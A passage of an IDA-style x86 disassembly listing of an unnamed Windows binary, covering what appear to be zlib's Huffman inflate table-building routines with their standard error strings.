push eax
call sub_409E20
add esp, 0Ch
jmp short loc_40C299
; ---------------------------------------------------------------------------
loc_40C294: ; CODE XREF: sub_40AF6D:loc_40B271j
; sub_40AF6D+487j ...
jmp loc_40AFCD
; ---------------------------------------------------------------------------
loc_40C299: ; CODE XREF: sub_40AF6D+EBj
; sub_40AF6D+238j ...
mov esp, ebp
pop ebp
retn
sub_40AF6D endp
; ---------------------------------------------------------------------------
off_40C29D dd offset loc_40AFE9 ; DATA XREF: sub_40AF6D+75r
dd offset loc_40B276
dd offset loc_40B3F9
dd offset loc_40B65E
dd offset loc_40B86D
dd offset loc_40BA7E
dd offset loc_40BF9F
dd offset loc_40C0AB
dd offset loc_40C174
dd offset loc_40C1D6
off_40C2C5 dd offset loc_40B0C4 ; DATA XREF: sub_40AF6D+150r
dd offset loc_40B101
dd offset loc_40B1CA
dd offset loc_40B1EA
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2D5 proc near ; CODE XREF: sub_40DA4C+3Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_40ADBE
add esp, 0Ch
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_4]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
xor eax, eax
pop ebp
retn
sub_40C2D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C330 proc near ; CODE XREF: sub_40CBFE+51p
; sub_40CCA6+62p ...
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
var_F8 = dword ptr -0F8h
var_F4 = dword ptr -0F4h
var_F0 = dword ptr -0F0h
var_EC = dword ptr -0ECh
var_E8 = dword ptr -0E8h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_DC = dword ptr -0DCh
var_D8 = byte ptr -0D8h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 108h
lea eax, [ebp+var_54]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_EC], ecx
loc_40C46E: ; CODE XREF: sub_40C330+172j
mov edx, [ebp+var_4]
mov eax, [edx]
mov ecx, [ebp+eax*4+var_54]
add ecx, 1
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ebp+eax*4+var_54], ecx
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_EC]
sub edx, 1
mov [ebp+var_EC], edx
cmp [ebp+var_EC], 0
jnz short loc_40C46E
mov eax, [ebp+var_54]
cmp eax, [ebp+arg_4]
jnz short loc_40C4C5
mov ecx, [ebp+arg_14]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_18]
mov dword ptr [edx], 0
xor eax, eax
jmp loc_40CBFA
; ---------------------------------------------------------------------------
loc_40C4C5: ; CODE XREF: sub_40C330+17Aj
mov eax, [ebp+arg_18]
mov ecx, [eax]
mov [ebp+var_100], ecx
mov [ebp+var_F4], 1
jmp short loc_40C4EB
; ---------------------------------------------------------------------------
loc_40C4DC: ; CODE XREF: sub_40C330:loc_40C503j
mov edx, [ebp+var_F4]
add edx, 1
mov [ebp+var_F4], edx
loc_40C4EB: ; CODE XREF: sub_40C330+1AAj
cmp [ebp+var_F4], 0Fh
ja short loc_40C505
mov eax, [ebp+var_F4]
cmp [ebp+eax*4+var_54], 0
jz short loc_40C503
jmp short loc_40C505
; ---------------------------------------------------------------------------
loc_40C503: ; CODE XREF: sub_40C330+1CFj
jmp short loc_40C4DC
; ---------------------------------------------------------------------------
loc_40C505: ; CODE XREF: sub_40C330+1C2j
; sub_40C330+1D1j
mov ecx, [ebp+var_F4]
mov [ebp+var_FC], ecx
mov edx, [ebp+var_100]
cmp edx, [ebp+var_F4]
jnb short loc_40C52B
mov eax, [ebp+var_F4]
mov [ebp+var_100], eax
loc_40C52B: ; CODE XREF: sub_40C330+1EDj
mov [ebp+var_EC], 0Fh
jmp short loc_40C546
; ---------------------------------------------------------------------------
loc_40C537: ; CODE XREF: sub_40C330:loc_40C55Ej
mov ecx, [ebp+var_EC]
sub ecx, 1
mov [ebp+var_EC], ecx
loc_40C546: ; CODE XREF: sub_40C330+205j
cmp [ebp+var_EC], 0
jz short loc_40C560
mov edx, [ebp+var_EC]
cmp [ebp+edx*4+var_54], 0
jz short loc_40C55E
jmp short loc_40C560
; ---------------------------------------------------------------------------
loc_40C55E: ; CODE XREF: sub_40C330+22Aj
jmp short loc_40C537
; ---------------------------------------------------------------------------
loc_40C560: ; CODE XREF: sub_40C330+21Dj
; sub_40C330+22Cj
mov eax, [ebp+var_EC]
mov [ebp+var_A0], eax
mov ecx, [ebp+var_100]
cmp ecx, [ebp+var_EC]
jbe short loc_40C586
mov edx, [ebp+var_EC]
mov [ebp+var_100], edx
loc_40C586: ; CODE XREF: sub_40C330+248j
mov eax, [ebp+arg_18]
mov ecx, [ebp+var_100]
mov [eax], ecx
mov edx, 1
mov ecx, [ebp+var_F4]
shl edx, cl
mov [ebp+var_E8], edx
jmp short loc_40C5C3
; ---------------------------------------------------------------------------
loc_40C5A6: ; CODE XREF: sub_40C330:loc_40C5FAj
mov eax, [ebp+var_F4]
add eax, 1
mov [ebp+var_F4], eax
mov ecx, [ebp+var_E8]
shl ecx, 1
mov [ebp+var_E8], ecx
loc_40C5C3: ; CODE XREF: sub_40C330+274j
mov edx, [ebp+var_F4]
cmp edx, [ebp+var_EC]
jnb short loc_40C5FC
mov eax, [ebp+var_F4]
mov ecx, [ebp+var_E8]
sub ecx, [ebp+eax*4+var_54]
mov [ebp+var_E8], ecx
cmp [ebp+var_E8], 0
jge short loc_40C5FA
mov eax, 0FFFFFFFDh
jmp loc_40CBFA
; ---------------------------------------------------------------------------
loc_40C5FA: ; CODE XREF: sub_40C330+2BEj
jmp short loc_40C5A6
; ---------------------------------------------------------------------------
loc_40C5FC: ; CODE XREF: sub_40C330+29Fj
mov edx, [ebp+var_EC]
mov eax, [ebp+var_E8]
sub eax, [ebp+edx*4+var_54]
mov [ebp+var_E8], eax
cmp [ebp+var_E8], 0
jge short loc_40C625
mov eax, 0FFFFFFFDh
jmp loc_40CBFA
; ---------------------------------------------------------------------------
loc_40C625: ; CODE XREF: sub_40C330+2E9j
mov ecx, [ebp+var_EC]
mov edx, [ebp+ecx*4+var_54]
add edx, [ebp+var_E8]
mov eax, [ebp+var_EC]
mov [ebp+eax*4+var_54], edx
mov [ebp+var_F4], 0
mov ecx, [ebp+var_F4]
mov [ebp+var_DC], ecx
lea edx, [ebp+var_50]
mov [ebp+var_4], edx
lea eax, [ebp+var_D8]
mov [ebp+var_98], eax
loc_40C667: ; CODE XREF: sub_40C330+386j
mov ecx, [ebp+var_EC]
sub ecx, 1
mov [ebp+var_EC], ecx
cmp [ebp+var_EC], 0
jz short loc_40C6B8
mov edx, [ebp+var_4]
mov eax, [ebp+var_F4]
add eax, [edx]
mov [ebp+var_F4], eax
mov ecx, [ebp+var_98]
mov edx, [ebp+var_F4]
mov [ecx], edx
mov eax, [ebp+var_98]
add eax, 4
mov [ebp+var_98], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp short loc_40C667
; ---------------------------------------------------------------------------
loc_40C6B8: ; CODE XREF: sub_40C330+34Dj
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
mov [ebp+var_EC], 0
loc_40C6C8: ; CODE XREF: sub_40C330+404j
mov eax, [ebp+var_4]
mov ecx, [eax]
mov [ebp+var_F4], ecx
mov edx, [ebp+var_F4]
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
test edx, edx
jz short loc_40C71C
mov ecx, [ebp+var_F4]
mov edx, [ebp+ecx*4+var_E0]
mov eax, [ebp+arg_24]
mov ecx, [ebp+var_EC]
mov [eax+edx*4], ecx
mov edx, [ebp+var_F4]
mov eax, [ebp+edx*4+var_E0]
add eax, 1
mov ecx, [ebp+var_F4]
mov [ebp+ecx*4+var_E0], eax
loc_40C71C: ; CODE XREF: sub_40C330+3B4j
mov edx, [ebp+var_EC]
add edx, 1
mov [ebp+var_EC], edx
mov eax, [ebp+var_EC]
cmp eax, [ebp+arg_4]
jb short loc_40C6C8
mov ecx, [ebp+var_A0]
mov edx, [ebp+ecx*4+var_E0]
mov [ebp+arg_4], edx
mov [ebp+var_EC], 0
mov eax, [ebp+var_EC]
mov [ebp+var_E0], eax
mov ecx, [ebp+arg_24]
mov [ebp+var_4], ecx
mov [ebp+var_E4], 0FFFFFFFFh
mov edx, [ebp+var_100]
neg edx
mov [ebp+var_9C], edx
mov [ebp+var_90], 0
mov [ebp+var_8], 0
mov [ebp+var_F0], 0
jmp short loc_40C7A6
; ---------------------------------------------------------------------------
loc_40C797: ; CODE XREF: sub_40C330:loc_40CBC7j
mov eax, [ebp+var_FC]
add eax, 1
mov [ebp+var_FC], eax
loc_40C7A6: ; CODE XREF: sub_40C330+465j
mov ecx, [ebp+var_FC]
cmp ecx, [ebp+var_A0]
jg loc_40CBCC
mov edx, [ebp+var_FC]
mov eax, [ebp+edx*4+var_54]
mov [ebp+var_C], eax
loc_40C7C5: ; CODE XREF: sub_40C330:loc_40CBC2j
mov ecx, [ebp+var_C]
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
test ecx, ecx
jz loc_40CBC7
loc_40C7D9: ; CODE XREF: sub_40C330:loc_40CA0Fj
mov eax, [ebp+var_9C]
add eax, [ebp+var_100]
cmp [ebp+var_FC], eax
jle loc_40CA14
mov ecx, [ebp+var_E4]
add ecx, 1
mov [ebp+var_E4], ecx
mov edx, [ebp+var_9C]
add edx, [ebp+var_100]
mov [ebp+var_9C], edx
mov eax, [ebp+var_A0]
sub eax, [ebp+var_9C]
mov [ebp+var_F0], eax
mov ecx, [ebp+var_F0]
cmp ecx, [ebp+var_100]
jbe short loc_40C840
mov edx, [ebp+var_100]
mov [ebp+var_104], edx
jmp short loc_40C84C
; ---------------------------------------------------------------------------
loc_40C840: ; CODE XREF: sub_40C330+500j
mov eax, [ebp+var_F0]
mov [ebp+var_104], eax
loc_40C84C: ; CODE XREF: sub_40C330+50Ej
mov ecx, [ebp+var_104]
mov [ebp+var_F0], ecx
mov edx, [ebp+var_FC]
sub edx, [ebp+var_9C]
mov [ebp+var_F4], edx
mov eax, 1
mov ecx, [ebp+var_F4]
shl eax, cl
mov [ebp+var_94], eax
mov ecx, [ebp+var_C]
add ecx, 1
cmp [ebp+var_94], ecx
jbe loc_40C923
mov edx, [ebp+var_C]
add edx, 1
mov eax, [ebp+var_94]
sub eax, edx
mov [ebp+var_94], eax
mov ecx, [ebp+var_FC]
lea edx, [ebp+ecx*4+var_54]
mov [ebp+var_98], edx
mov eax, [ebp+var_F4]
cmp eax, [ebp+var_F0]
jnb short loc_40C923
loc_40C8C1: ; CODE XREF: sub_40C330+5F1j
mov ecx, [ebp+var_F4]
add ecx, 1
mov [ebp+var_F4], ecx
mov edx, [ebp+var_F4]
cmp edx, [ebp+var_F0]
jnb short loc_40C923
mov eax, [ebp+var_94]
shl eax, 1
mov [ebp+var_94], eax
mov ecx, [ebp+var_98]
add ecx, 4
mov [ebp+var_98], ecx
mov edx, [ebp+var_98]
mov eax, [ebp+var_94]
cmp eax, [edx]
ja short loc_40C90D
jmp short loc_40C923
; ---------------------------------------------------------------------------
loc_40C90D: ; CODE XREF: sub_40C330+5D9j
mov ecx, [ebp+var_98]
mov edx, [ebp+var_94]
sub edx, [ecx]
mov [ebp+var_94], edx
jmp short loc_40C8C1
; ---------------------------------------------------------------------------
loc_40C923: ; CODE XREF: sub_40C330+559j
; sub_40C330+58Fj ...
mov eax, 1
mov ecx, [ebp+var_F4]
shl eax, cl
mov [ebp+var_F0], eax
mov ecx, [ebp+arg_20]
mov edx, [ecx]
add edx, [ebp+var_F0]
cmp edx, 5A0h
jbe short loc_40C953
mov eax, 0FFFFFFFCh
jmp loc_40CBFA
; ---------------------------------------------------------------------------
loc_40C953: ; CODE XREF: sub_40C330+617j
mov eax, [ebp+arg_20]
mov ecx, [eax]
mov edx, [ebp+arg_1C]
lea eax, [edx+ecx*8]
mov [ebp+var_8], eax
mov ecx, [ebp+var_E4]
mov edx, [ebp+var_8]
mov [ebp+ecx*4+var_90], edx
mov eax, [ebp+arg_20]
mov ecx, [eax]
add ecx, [ebp+var_F0]
mov edx, [ebp+arg_20]
mov [edx], ecx
cmp [ebp+var_E4], 0
jz short loc_40CA07
mov eax, [ebp+var_E4]
mov ecx, [ebp+var_EC]
mov [ebp+eax*4+var_E0], ecx
mov dl, byte ptr [ebp+var_100]
mov byte ptr [ebp+var_14+1], dl
mov al, byte ptr [ebp+var_F4]
mov byte ptr [ebp+var_14], al
mov ecx, [ebp+var_9C]
sub ecx, [ebp+var_100]
mov edx, [ebp+var_EC]
shr edx, cl
mov [ebp+var_F4], edx
mov eax, [ebp+var_E4]
mov ecx, [ebp+var_8]
sub ecx, [ebp+eax*4+var_94]
sar ecx, 3
sub ecx, [ebp+var_F4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_E4]
mov eax, [ebp+edx*4+var_94]
mov ecx, [ebp+var_F4]
mov edx, [ebp+var_14]
mov [eax+ecx*8], edx
mov edx, [ebp+var_10]
mov [eax+ecx*8+4], edx
jmp short loc_40CA0F
; ---------------------------------------------------------------------------
loc_40CA07: ; CODE XREF: sub_40C330+658j
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_8]
mov [eax], ecx
loc_40CA0F: ; CODE XREF: sub_40C330+6D5j
jmp loc_40C7D9
; ---------------------------------------------------------------------------
loc_40CA14: ; CODE XREF: sub_40C330+4BBj
mov edx, [ebp+var_FC]
sub edx, [ebp+var_9C]
mov byte ptr [ebp+var_14+1], dl
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_24]
lea edx, [ecx+eax*4]
cmp [ebp+var_4], edx
jb short loc_40CA37
mov byte ptr [ebp+var_14], 0C0h
jmp short loc_40CA95
; ---------------------------------------------------------------------------
loc_40CA37: ; CODE XREF: sub_40C330+6FFj
mov eax, [ebp+var_4]
mov ecx, [eax]
cmp ecx, [ebp+arg_8]
jnb short loc_40CA67
mov edx, [ebp+var_4]
cmp dword ptr [edx], 100h
sbb eax, eax
and al, 0A0h
add eax, 60h
mov byte ptr [ebp+var_14], al
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [ebp+var_10], edx
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
jmp short loc_40CA95
; ---------------------------------------------------------------------------
loc_40CA67: ; CODE XREF: sub_40C330+70Fj
mov ecx, [ebp+var_4]
mov edx, [ecx]
sub edx, [ebp+arg_8]
mov eax, [ebp+arg_10]
mov ecx, [eax+edx*4]
add ecx, 50h
mov byte ptr [ebp+var_14], cl
mov edx, [ebp+var_4]
mov eax, [edx]
sub eax, [ebp+arg_8]
mov ecx, [ebp+arg_C]
mov edx, [ecx+eax*4]
mov [ebp+var_10], edx
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
loc_40CA95: ; CODE XREF: sub_40C330+705j
; sub_40C330+735j
mov ecx, [ebp+var_FC]
sub ecx, [ebp+var_9C]
mov edx, 1
shl edx, cl
mov [ebp+var_94], edx
mov eax, [ebp+var_EC]
mov ecx, [ebp+var_9C]
shr eax, cl
mov [ebp+var_F4], eax
jmp short loc_40CAD6
; ---------------------------------------------------------------------------
loc_40CAC4: ; CODE XREF: sub_40C330+7CAj
mov ecx, [ebp+var_F4]
add ecx, [ebp+var_94]
mov [ebp+var_F4], ecx
loc_40CAD6: ; CODE XREF: sub_40C330+792j
mov edx, [ebp+var_F4]
cmp edx, [ebp+var_F0]
jnb short loc_40CAFC
mov eax, [ebp+var_F4]
mov ecx, [ebp+var_8]
mov edx, [ebp+var_14]
mov [ecx+eax*8], edx
mov edx, [ebp+var_10]
mov [ecx+eax*8+4], edx
jmp short loc_40CAC4
; ---------------------------------------------------------------------------
loc_40CAFC: ; CODE XREF: sub_40C330+7B2j
mov ecx, [ebp+var_FC]
sub ecx, 1
mov eax, 1
shl eax, cl
mov [ebp+var_F4], eax
jmp short loc_40CB22
; ---------------------------------------------------------------------------
loc_40CB14: ; CODE XREF: sub_40C330+814j
mov ecx, [ebp+var_F4]
shr ecx, 1
mov [ebp+var_F4], ecx
loc_40CB22: ; CODE XREF: sub_40C330+7E2j
mov edx, [ebp+var_EC]
and edx, [ebp+var_F4]
test edx, edx
jz short loc_40CB46
mov eax, [ebp+var_EC]
xor eax, [ebp+var_F4]
mov [ebp+var_EC], eax
jmp short loc_40CB14
; ---------------------------------------------------------------------------
loc_40CB46: ; CODE XREF: sub_40C330+800j
mov ecx, [ebp+var_EC]
xor ecx, [ebp+var_F4]
mov [ebp+var_EC], ecx
mov edx, 1
mov ecx, [ebp+var_9C]
shl edx, cl
sub edx, 1
mov [ebp+var_F8], edx
loc_40CB6E: ; CODE XREF: sub_40C330+890j
mov eax, [ebp+var_EC]
and eax, [ebp+var_F8]
mov ecx, [ebp+var_E4]
cmp eax, [ebp+ecx*4+var_E0]
jz short loc_40CBC2
mov edx, [ebp+var_E4]
sub edx, 1
mov [ebp+var_E4], edx
mov eax, [ebp+var_9C]
sub eax, [ebp+var_100]
mov [ebp+var_9C], eax
mov edx, 1
mov ecx, [ebp+var_9C]
shl edx, cl
sub edx, 1
mov [ebp+var_F8], edx
jmp short loc_40CB6E
; ---------------------------------------------------------------------------
loc_40CBC2: ; CODE XREF: sub_40C330+857j
jmp loc_40C7C5
; ---------------------------------------------------------------------------
loc_40CBC7: ; CODE XREF: sub_40C330+4A3j
jmp loc_40C797
; ---------------------------------------------------------------------------
loc_40CBCC: ; CODE XREF: sub_40C330+482j
cmp [ebp+var_E8], 0
jz short loc_40CBEA
cmp [ebp+var_A0], 1
jz short loc_40CBEA
mov [ebp+var_108], 0FFFFFFFBh
jmp short loc_40CBF4
; ---------------------------------------------------------------------------
loc_40CBEA: ; CODE XREF: sub_40C330+8A3j
; sub_40C330+8ACj
mov [ebp+var_108], 0
loc_40CBF4: ; CODE XREF: sub_40C330+8B8j
mov eax, [ebp+var_108]
loc_40CBFA: ; CODE XREF: sub_40C330+190j
; sub_40C330+2C5j ...
mov esp, ebp
pop ebp
retn
sub_40C330 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CBFE proc near ; CODE XREF: sub_40AF6D+A62p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 0
push 4
push 13h
mov eax, [ebp+arg_10]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_10]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_40CC2F
mov eax, 0FFFFFFFCh
jmp short loc_40CCA2
; ---------------------------------------------------------------------------
loc_40CC2F: ; CODE XREF: sub_40CBFE+28j
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 0
push 0
push 13h
push 13h
mov edx, [ebp+arg_0]
push edx
call sub_40C330
add esp, 28h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFDh
jnz short loc_40CC6C
mov eax, [ebp+arg_10]
mov dword ptr [eax+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"...
jmp short loc_40CC8B
; ---------------------------------------------------------------------------
loc_40CC6C: ; CODE XREF: sub_40CBFE+60j
cmp [ebp+var_4], 0FFFFFFFBh
jz short loc_40CC7A
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx], 0
jnz short loc_40CC8B
loc_40CC7A: ; CODE XREF: sub_40CBFE+72j
mov edx, [ebp+arg_10]
mov dword ptr [edx+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree"
mov [ebp+var_4], 0FFFFFFFDh
loc_40CC8B: ; CODE XREF: sub_40CBFE+6Cj
; sub_40CBFE+7Aj
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_10]
call dword ptr [eax+24h]
add esp, 8
mov eax, [ebp+var_4]
loc_40CCA2: ; CODE XREF: sub_40CBFE+2Fj
mov esp, ebp
pop ebp
retn
sub_40CBFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCA6 proc near ; CODE XREF: sub_40AF6D+F01p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 0
push 4
push 120h
mov eax, [ebp+arg_20]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_20]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_40CCDD
mov eax, 0FFFFFFFCh
jmp loc_40CE27
; ---------------------------------------------------------------------------
loc_40CCDD: ; CODE XREF: sub_40CCA6+2Bj
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_14]
push ecx
push offset dword_414538
push offset dword_4144BC
push 101h
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_40C330
add esp, 28h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40CD21
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_40CD66
loc_40CD21: ; CODE XREF: sub_40CCA6+71j
cmp [ebp+var_4], 0FFFFFFFDh
jnz short loc_40CD33
mov edx, [ebp+arg_20]
mov dword ptr [edx+18h], offset aOversubscrib_0 ; "oversubscribed literal/length tree"
jmp short loc_40CD4A
; ---------------------------------------------------------------------------
loc_40CD33: ; CODE XREF: sub_40CCA6+7Fj
cmp [ebp+var_4], 0FFFFFFFCh
jz short loc_40CD4A
mov eax, [ebp+arg_20]
mov dword ptr [eax+18h], offset aIncompleteLite ; "incomplete literal/length tree"
mov [ebp+var_4], 0FFFFFFFDh
loc_40CD4A: ; CODE XREF: sub_40CCA6+8Bj
; sub_40CCA6+91j
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_20]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_20]
call dword ptr [ecx+24h]
add esp, 8
mov eax, [ebp+var_4]
jmp loc_40CE27
; ---------------------------------------------------------------------------
loc_40CD66: ; CODE XREF: sub_40CCA6+79j
mov edx, [ebp+var_C]
push edx
lea eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_1C]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_18]
push eax
push offset dword_41462C
push offset dword_4145B4
push 0
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_8]
lea ecx, [eax+edx*4]
push ecx
call sub_40C330
add esp, 28h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40CDB6
mov edx, [ebp+arg_10]
cmp dword ptr [edx], 0
jnz short loc_40CE11
cmp [ebp+arg_0], 101h
jbe short loc_40CE11
loc_40CDB6: ; CODE XREF: sub_40CCA6+FDj
cmp [ebp+var_4], 0FFFFFFFDh
jnz short loc_40CDC8
mov eax, [ebp+arg_20]
mov dword ptr [eax+18h], offset aOversubscrib_1 ; "oversubscribed distance tree"
jmp short loc_40CDF8
; ---------------------------------------------------------------------------
loc_40CDC8: ; CODE XREF: sub_40CCA6+114j
cmp [ebp+var_4], 0FFFFFFFBh
jnz short loc_40CDE1
mov ecx, [ebp+arg_20]
mov dword ptr [ecx+18h], offset aIncompleteDist ; "incomplete distance tree"
mov [ebp+var_4], 0FFFFFFFDh
jmp short loc_40CDF8
; ---------------------------------------------------------------------------
loc_40CDE1: ; CODE XREF: sub_40CCA6+126j
cmp [ebp+var_4], 0FFFFFFFCh
jz short loc_40CDF8
mov edx, [ebp+arg_20]
mov dword ptr [edx+18h], offset aEmptyDistanceT ; "empty distance tree with lengths"
mov [ebp+var_4], 0FFFFFFFDh
loc_40CDF8: ; CODE XREF: sub_40CCA6+120j
; sub_40CCA6+139j ...
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_20]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_20]
call dword ptr [eax+24h]
add esp, 8
mov eax, [ebp+var_4]
jmp short loc_40CE27
; ---------------------------------------------------------------------------
loc_40CE11: ; CODE XREF: sub_40CCA6+105j
; sub_40CCA6+10Ej
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_20]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_20]
call dword ptr [ecx+24h]
add esp, 8
xor eax, eax
loc_40CE27: ; CODE XREF: sub_40CCA6+32j
; sub_40CCA6+BBj ...
mov esp, ebp
pop ebp
retn
sub_40CCA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE2B proc near ; CODE XREF: sub_40AF6D+1A8p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword ptr [eax], 9
mov ecx, [ebp+arg_4]
mov dword ptr [ecx], 5
mov edx, [ebp+arg_8]
mov dword ptr [edx], offset dword_413340
mov eax, [ebp+arg_C]
mov dword ptr [eax], offset dword_414340
xor eax, eax
pop ebp
retn
sub_40CE2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE56 proc near ; CODE XREF: sub_40A04E+106p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
